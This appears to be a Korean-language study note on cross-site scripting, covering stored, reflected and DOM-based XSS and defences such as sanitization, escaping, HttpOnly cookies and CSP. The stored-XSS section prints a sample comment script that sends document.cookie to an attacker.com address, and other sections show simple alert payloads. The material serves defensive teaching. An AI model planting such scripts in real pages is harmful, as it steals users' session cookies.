개요
정의: 공격자가 웹 사이트에 악성 스크립트를 삽입하여, 다른 사용자가 해당 페이지를 방문할 때 그 스크립트가 피해자의 브라우저에서 실행되도록 하는 공격
작동 방식:
- 공격자가 게시판, 댓글, URL 파라미터 등을 통해 악성 스크립트를 삽입
- 피해자가 해당 페이지를 방문하면 악성 스크립트가 피해자의 브라우저에서 실행
- 스크립트는 쿠키·세션 토큰 탈취, 페이지 변조, 악성 사이트로의 리디렉션 등을 수행
XSS 유형
1. Stored XSS (저장형)
- 공격자가 댓글 작성
- 서버가 sanitize 없이 DB에 그대로 저장
- 피해자가 게시글 페이지 방문
- 서버가 DB에서 댓글을 꺼내 HTML에 삽입하여 응답
- 피해자 브라우저가 HTML을 파싱하면서 스크립트 태그를 만남
- fetch 실행하여 쿠키 전송
<!-- 공격자가 게시판에 작성한 댓글 -->
<script>
fetch('https://attacker.com/steal', {
method: 'POST',
body: document.cookie, // HttpOnly 미설정 시 탈취 가능
mode: 'no-cors'
});
</script>
현대 브라우저에서의 동작 한계
HttpOnly플래그가 설정된 쿠키는document.cookie로 접근 불가 → 탈취 무력화- 따라서 인증 쿠키에
HttpOnly를 설정하는 것이 핵심 방어선
2. Reflected XSS (반사형)
악성 스크립트가 URL 파라미터 등을 통해 서버로 전달되고, 서버가 이를 그대로 응답에 포함시켜 즉시 실행
https://example.com/search?q=<script>alert('XSS')</script>
- 서버가 검색어를 그대로 HTML에 출력하면 스크립트가 실행
- 주로 피싱 링크 형태로 배포
3. DOM-based XSS
서버를 거치지 않고 클라이언트 JavaScript가 DOM을 직접 조작할 때 발생
// URL: https://example.com/#<img src=x onerror=alert('XSS')>
// 취약한 코드
const input = location.hash.slice(1);
document.getElementById('output').innerHTML = input; // 즉시 실행됨
// 입력을 HTML로 파싱하지 않도록 텍스트로만 처리
document.getElementById('output').textContent = input; // 텍스트로만 처리
예방
1. 입력값 검증 (Sanitization)
사용자 입력을 저장하거나 처리하기 전에 위험한 태그와 속성 제거
const express = require('express');
const sanitizeHtml = require('sanitize-html');
const app = express();
app.use(express.urlencoded({ extended: true }));
app.post('/post', (req, res) => {
const dirty = req.body.content;
const clean = sanitizeHtml(dirty, {
allowedTags: sanitizeHtml.defaults.allowedTags.concat(['img']),
allowedAttributes: {
'img': ['src', 'alt']
// 'onerror' 같은 이벤트 핸들러는 자동으로 차단됨
}
});
// DB에 clean 저장
res.send('Post received');
});
2. 출력값 인코딩 (Escaping)
데이터를 화면에 출력할 때 HTML 엔티티로 인코딩하여 스크립트가 실행되지 않도록 함
EJS 템플릿 (서버 렌더링)
<%- post.content %> <!-- 취약(-): HTML 그대로 출력 -->
<%= post.content %> <!-- 안전(=): HTML 이스케이프 처리 -->
React (현대적 접근)
React는 기본적으로 모든 출력을 이스케이프 처리. 오히려 명시적으로 우회할 때가 위험
// 안전: React가 자동으로 이스케이프
<div>{userInput}</div>
// 취약: 명시적으로 XSS 위험을 감수하겠다는 선언
<div dangerouslySetInnerHTML={{ __html: userInput }} />
// dangerouslySetInnerHTML이 꼭 필요하다면 sanitize 후 사용
import DOMPurify from 'dompurify';
<div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(userInput) }} />
3. HttpOnly 쿠키 설정
XSS가 발생하더라도 인증 쿠키가 탈취되지 않도록 JavaScript 접근을 차단
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict
HttpOnly→document.cookie로 접근 불가 → XSS로 인한 쿠키 탈취 방어Secure→ HTTPS에서만 전송SameSite=Strict→ 타 사이트 요청 시 쿠키 전송 차단
4. Content Security Policy (CSP)
브라우저가 허가된 출처의 스크립트만 실행하도록 제한
app.use((req, res, next) => {
res.setHeader(
'Content-Security-Policy',
"default-src 'self'; script-src 'self'"
// 인라인 스크립트 및 외부 출처 스크립트 전면 차단
);
next();
});
인라인 스크립트가 꼭 필요한 경우, 전면 허용 대신 nonce 방식을 사용
// Next.js 기준 (middleware.js)
import { NextResponse } from 'next/server'
import crypto from 'crypto'
export function middleware(req) {
const nonce = crypto.randomBytes(16).toString('base64')
const response = NextResponse.next()
response.headers.set(
'Content-Security-Policy',
`script-src 'self' 'nonce-${nonce}'`
)
return response
}
// 컴포넌트에서
export default function Page({ nonce }) {
return (
<script nonce={nonce} dangerouslySetInnerHTML={{
__html: `const userId = 123`
}} />
)
}
Electron도 렌더러 프로세스의 설정에 따라 Node 환경에 직접 접근할 수 있는 통로가 열릴 수 있기 때문에 CSP에 민감
예방 전략 요약
| 예방 방법 | 방어 대상 | 적용 위치 |
|---|---|---|
| 입력값 검증 (Sanitization) | Stored, Reflected XSS | 서버 |
| 출력값 인코딩 (Escaping) | Stored, Reflected XSS | 서버/클라이언트 |
textContent 사용 | DOM-based XSS | 클라이언트 |
| HttpOnly 쿠키 | 쿠키 탈취 피해 최소화 | 서버 |
| CSP 설정 | 전체 XSS | 서버 (HTTP 헤더) |
단일 방어책에 의존하지 않고, 여러 계층을 함께 적용하는 심층 방어(Defense in Depth) 전략이 핵심